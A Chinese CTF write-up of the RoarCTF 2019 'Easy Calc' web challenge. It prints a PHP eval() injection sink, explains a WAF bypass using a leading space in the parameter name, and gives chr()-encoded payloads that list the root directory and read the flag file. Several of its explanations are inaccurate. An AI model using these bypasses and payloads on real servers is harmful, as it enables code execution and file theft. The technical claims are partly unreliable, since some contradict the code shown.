CTF Web 刷题笔记|[RoarCTF 2019]Easy Calc-eval 代码执行

0 阅读4分钟

一、题目

二、解题步骤

思路:

查看页面源代码,定位核心文件 calc.php 与参数 num,发现 WAF 防护提示;访问 calc.php 确认 eval() 代码执行漏洞及字符黑名单限制;通过参数名加空格绕过 WAF、ASCII 编码绕过黑名单;执行 scandir() 读取根目录定位 Flag 文件,最终调用 file_get_contents() 读取 Flag 内容。

1. 查看页面源代码

  • 发现注释 <!--I've set up WAF to ensure security.-->,明确存在 WAF 防护;
  • 从 JS 代码中提取核心接口:calc.php?num=,确认参数为 num
  • url:"calc.php?num=..." 核心逻辑在 calc.php 文件里

直接在浏览器地址栏输入:calc.php

2. 分析代码

访问 calc.php 后,页面会直接显示源码:

<?php
error_reporting(0); // 关闭错误提示,避免泄露信息
if (!isset($_GET['num'])) { // 如果你没传 num 参数
    show_source(__FILE__); // 就显示当前文件(calc.php)的源码
} else {
    $str = $_GET['num']; // 接收你传的 ?num=xxx 里的内容
    // 定义黑名单:过滤空格、/、引号、特殊符号等
    $blacklist = [' ', '\t', '\r', '\n', ''', '"', '`', '[', ']', '$', '\', '^', '&', '|', '*', '?', '{', '}', '(', ')', '.', '-', '+', '=', '/', '%'];
    foreach ($blacklist as $blackitem) { // 遍历黑名单检查
        if (preg_match('/' . $blackitem . '/m', $str)) { // 只要包含黑名单字符
            die("What are you doing?!"); // 直接终止程序,提示报错
        }
    }
    eval('echo ' . $str . ';'); // 把 num 的值拼进去执行!核心漏洞点
}
?>

2.1. 【WAF 防护】

$blacklist = [' ', '/', ...];

过滤恶意字符,比如直接传 num=1;ls会被拦截(包含 ;

2.2. 【核心漏洞】

eval('echo ' . $str . ';');

  • eval() 是 PHP 代码执行函数,会把 $str 当成代码执行:
  • 正常传 num=1+1 → 执行 echo 1+1; → 输出 2;
  • 绕过WAF传 ?%20num=1;ls → 执行 echo 1;ls; → 先输出 1,再执行 ls 命令

3. 传「读目录命令」找Flag文件

/calc.php?%20num=1;var_dump(scandir(chr(47)))

作用:服务器会列出根目录所有文件

3.1. 命令解释

3.1.1. ?%20num=
  • num= 是题目接收计算内容的参数名
  • %20 是URL编码后的空格(相当于在 num 前面加了个空格)。为了绕WAF:WAF只会盯着「num=」这个格式的参数,看到带空格的「 num=」,会误以为这不是目标参数,就不会拦截后面的命令;但PHP服务器会自动忽略参数名前的空格,依然把它当成「num」参数处理,能正常接收后面的内容。
3.1.2. 1;
  • 1 是一个最简单的合法数学计算,先写它是为了让命令看起来「合法」,避免服务器直接判定为恶意操作;
  • ; 是PHP里的语句分隔符,作用是把「合法计算」和「恶意命令」分开——服务器会先执行「1」这个合法操作,再执行后面的读目录命令,这样既不会触发语法错误,也降低了被拦截的概率。
3.1.3. var_dump()
  • scandir() 这个函数执行后,只会在服务器内部返回目录列表,但不会主动显示在页面上;
  • var_dump() 是PHP的打印函数,能把 scandir() 拿到的目录列表清晰地输出到页面上,你才能看到根目录下有哪些文件(比如找到flag文件)。如果不加它,命令执行了也看不到结果。
3.1.4. scandir(chr(47))
  • scandir() 是PHP专门用来读取目录的函数,括号里写什么目录,它就会列出这个目录下的所有文件和文件夹;
  • chr(47) 是绕黑名单的关键:后端的黑名单明确禁止了 / 这个字符(根目录符号),直接写 scandir('/') 会被检测到并提示报错;而 chr(47) 是把ASCII码47转换成对应的字符——47正好对应 /,服务器能看懂这个「暗号」,把它还原成 /,但黑名单认不出 chr(47),就不会拦截。

4. 传「读Flag文件命令」

找到的文件名是 f1agg

访问:

/calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

目标就是读取这个 /f1agg 文件里的内容。

不能直接写 file_get_contents('/f1agg'),因为后端有黑名单,直接写 /1 这些字符会被检测到,提示 What are you doing?!,所以必须用 chr(ASCII码) 这种「暗号」来替换。

4.1. 命令解释

4.1.1. chr(数字) 对应的字符

chr(数字) 是把「数字(ASCII码)」转换成「对应字符」,我们需要给 /f1agg 每个字符找对应的数字:

  • / → ASCII码是 47 → 写成 chr(47)
  • f → ASCII码是 102 → 写成 chr(102)
  • 1→ ASCII码是 49 → 写成 chr(49)
  • a → ASCII码是 97 → 写成 chr(97)
  • g → ASCII码是 103 → 写成 chr(103)
  • 最后一个 g → 还是 chr(103)
4.1.2. 用 . 拼接成完整路径

PHP 里的 . 是「拼接符」,把上面的暗号粘在一起:
chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)
= / + f + 1 + a + g + g
= /f1agg

4.1.3. 套进 file_get_contents()

file_get_contents() 是 PHP 读文件的核心函数,把拼接好的路径放进去:
file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
→ 作用:读取服务器上 /f1agg 文件的内容

4.1.4. 加 var_dump() 让结果显示

file_get_contents() 执行后不会自动把内容显示在页面上,var_dump() 是「打印函数」,能把读到的 flag 内容输出到页面,所以最终命令是:
var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

4.1.5. 补全绕WAF的前缀

最后加上 ?%20num=1;(加空格绕WAF,加1;保证命令合法)

5. 拿到flag